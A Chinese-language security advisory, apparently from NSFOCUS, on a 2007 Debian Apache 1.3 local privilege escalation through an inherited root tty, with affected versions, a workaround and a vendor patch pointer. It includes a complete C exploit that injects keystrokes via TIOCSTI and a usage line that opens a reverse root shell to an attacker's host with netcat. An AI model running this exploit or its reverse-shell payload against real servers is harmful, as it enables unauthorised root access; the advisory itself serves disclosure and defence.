安全研究

安全漏洞
Debian Apache Root Shell本地权限提升漏洞

发布日期:2007-02-26
更新日期:2007-03-01

受影响系统:
Debian Apache 1.3.34-4
Debian Apache 1.3.33-6sarge3
Debian Apache 1.3.32
描述:
BUGTRAQ  ID: 22732

Apache是一款开放源代码WEB服务程序。

Debian的Apache服务器在启动时保留了所控制的tty,这允许本地攻击者通过特制的CGI脚本获得权限提升。

成功利用这个漏洞可能导致获得root用户权限,但要求手动启动了Apache服务器且之后没有关闭所调用的root shell。

<*来源:Dean Gaudet
        Richard Thrippleton
  
  链接:http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=357561;msg=5
        http://secunia.com/advisories/24324/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
  :: Kristian Hermansen ::
  Date: 20070228
  Description: Local attacker can influence Apache to direct commands
    into an open tty owned by user who started apache process, usually root.
    This results in arbitrary command execution.
  Affects: Debian Stable, Apache 1.3.33-6sarge3
  Notes: Must have CGI execution privileges and
    service started manually by root via shell.
    Also try adding "Options +ExecCGI" to your .htaccess file.
  Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
  Usage: nc -vvv -l -p 31337
    http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
  u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
    benkurtz, ... and who could forget ... setient (the gremlin)!!
*/

#include <fcntl.h>
#include <sys/ioctl.h>

int main(int argc, char *argv[])
{
  int pts = open("/dev/tty",O_RDONLY);
  while(*argv[1] != '\0') {
    ioctl(pts,TIOCSTI,argv[1]);
    argv[1]++;
  }
  return 0;
}

建议:
临时解决方法:

* 在启动或手动重启apache服务器时关闭shell。

厂商补丁:

Debian
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.debian.org/security/

浏览次数:3222
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障